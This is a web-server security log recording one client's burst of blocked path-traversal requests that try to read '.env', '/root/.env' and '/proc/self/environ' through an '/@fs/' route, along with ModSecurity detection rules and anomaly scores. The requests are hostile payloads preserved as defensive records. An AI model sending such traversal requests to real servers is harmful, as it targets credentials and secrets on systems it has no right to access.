[Sun Oct 25 14:01:41.218849 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
[Sun Oct 25 14:01:41.218899 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
[Sun Oct 25 14:01:41.218949 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
[Sun Oct 25 14:01:41.219220 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
[Sun Oct 25 14:01:41.219503 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5EBaYYcNPV1bnoekNX5wAAAAQ"]
[Sun Oct 25 14:01:41.220468 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2co_gAAAAc"]
[Sun Oct 25 14:01:41.220585 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2co_gAAAAc"]
[Sun Oct 25 14:01:41.220915 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2co_gAAAAc"]
[Sun Oct 25 14:01:41.221128 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBROIqc1eRNCRH2co_gAAAAc"]
[Sun Oct 25 14:01:41.223592 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5EBVY5e6yJWIYGXiqD4AAAAAk"]
[Sun Oct 25 14:01:41.223648 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5EBVY5e6yJWIYGXiqD4AAAAAk"]
[Sun Oct 25 14:01:41.223677 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5EBVY5e6yJWIYGXiqD4AAAAAk"]
[Sun Oct 25 14:01:41.224059 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5EBVY5e6yJWIYGXiqD4AAAAAk"]
[Sun Oct 25 14:01:41.224284 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5EBVY5e6yJWIYGXiqD4AAAAAk"]
[Sun Oct 25 14:01:41.225384 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFAAAAA0"]
[Sun Oct 25 14:01:41.225713 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFAAAAA0"]
[Sun Oct 25 14:01:41.225938 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFAAAAA0"]
[Sun Oct 25 14:01:41.238716 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5EBaYYcNPV1bnoekNX6AAAAAQ"]
[Sun Oct 25 14:01:41.239086 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5EBaYYcNPV1bnoekNX6AAAAAQ"]
[Sun Oct 25 14:01:41.239306 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5EBaYYcNPV1bnoekNX6AAAAAQ"]
[Sun Oct 25 14:01:41.242174 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2AAAAAM"]
[Sun Oct 25 14:01:41.242679 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2AAAAAM"]
[Sun Oct 25 14:01:41.242911 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw2AAAAAM"]
[Sun Oct 25 14:01:41.244050 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD4QAAAAk"]
[Sun Oct 25 14:01:41.244526 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD4QAAAAk"]
[Sun Oct 25 14:01:41.244748 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBVY5e6yJWIYGXiqD4QAAAAk"]
[Sun Oct 25 14:01:41.245928 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFQAAAA0"]
[Sun Oct 25 14:01:41.246333 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFQAAAA0"]
[Sun Oct 25 14:01:41.246604 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5EBSjnAS4eJh-ada2NFQAAAA0"]
[Sun Oct 25 14:01:41.247682 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1LwAAACQ"]
[Sun Oct 25 14:01:41.248107 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1LwAAACQ"]
[Sun Oct 25 14:01:41.248323 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at5EBYIGIq5euXyTbvT1LwAAACQ"]
[Sun Oct 25 14:01:41.249418 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrHQAAABE"]
[Sun Oct 25 14:01:41.249521 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrHQAAABE"]
[Sun Oct 25 14:01:41.249915 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrHQAAABE"]
[Sun Oct 25 14:01:41.250130 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5EBRfmy5DaFfyE01WrHQAAABE"]
